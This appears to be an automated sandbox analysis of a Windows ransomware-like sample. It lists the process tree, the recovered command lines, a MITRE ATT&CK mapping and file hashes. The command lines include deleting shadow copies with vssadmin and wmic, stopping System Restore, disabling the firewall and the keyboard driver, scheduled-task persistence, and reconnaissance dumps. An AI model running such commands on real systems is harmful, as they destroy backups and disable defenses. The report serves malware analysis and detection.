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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\blanktexts.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2884
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4444
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2900
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2940 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1308
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:1876
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3524 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4320
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:1392
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5560
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:2352
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\blanktexts.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2192
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4484
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5800
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1440
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4860
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4404
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1412
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4156
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1636
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a23855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4828
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:2216
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C:\Users\Admin\AppData\Local\Temp\blanktexts.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\blanktexts.io_hyber.exe1⤵PID:3140
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:3140
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4144
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 e27422300037362d151cbb470ca7f6315feb6641664540d4807073b8310da7e3
- MD5 d1eedf84ff31f6e5370a58fb68ef01ea
- SHA1 0b42af035caa0c77b754cd008deecc444a2d69c8
- SHA512 0456431afddaeef4479516279ac69f9a947540fc673d326d0529e3bcd613985aee93419d662b7d5313f3cf84209cba80a4caa8e10da54866be4f846c3320fc9a
- SSDEEP 1536:H2Rveo0zwn1+7cRMa3EJb2TeDTkXPEVOkIWoqojXQQdGU4I13Vx+d8E1Ib:HgvQzwnA81EQ6Tk/T5XQQoRIJVx+d8EE
- TLSH T1ED633B738A23FCC5677F3D40F0542D920C883A678775666CFBC90A5538A6688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 4d3edbeca0df5d6865930eee6bbe9bbf5ade34b001fa07cdd5440c8f6323f064
- MD5 b584431e2221a13bbccf2a540df443f9
- SHA1 49baf1509e037a61314e4f5f16c3b2284564097f
- SHA512 0c4be8c5a293b4010ea9edd99726ad69cdb126f09f4ee7fd8d1df6d32f79ee6bfa3b6c573d948a1d67e00fcc61eac7ff05eeb78100d7de947601611a4940d9ca
- SSDEEP 1536:n2Rveo0zwn1+7cRMa3EJb2TeDTkXPEVOkIWoqojXQQdGU4I13Vx+d8E1IS:ngvQzwnA81EQ6Tk/T5XQQoRIJVx+d8EH
- TLSH T114632B734A23FCC5677F3D40F0542D920C883A678775676CFBC90A9538A6688DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 244B
- SHA256 457cc59d3df024c4c747ba4818c5612a5be6444affc86738704a36f13ca6ed14
- MD5 5be86d296ebf3df61c74516059aa407d
- SHA1 62045bd1d6542bbb6bf8047d1bef12bda8287423
- SHA512 5c1f9a592f938ca094a2c8f026ec244b04ce232e9892555454a2229fea05ba10b08ffaecf69657cf569897a1cfa929ef0671f40bb6fb2a5b8718ee781e87927c
- TLSH T1E2D0A79BB24DC6A90001127B81F3DE9CE9B5486D3B17BE704AA5DD4E329088589FA543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 245B
- SHA256 c1ff3683af385560acd8ebbd7a076cc9c30f99bffb3a7bc091a17b88d6e7de5d
- MD5 3c2de572dfaee3672ea9ebb2c8d34c21
- SHA1 abd633d1baba0671e4a5d2e713db15b3b841fc87
- SHA512 a074b685383db6c2eb7bda6c621681d87adea921845b787f39d679a473286d49260c16c0a3f5902d563939a6eb357b1032a9e07ab8fecc81c15f03c817faf5f3
- TLSH T107D0A79BB24DC6A90001127B80F3DE9CEAE5496D3B17BE709AA5DD0F328088589FA543
- MD5 SHA1 SHA512 TLSH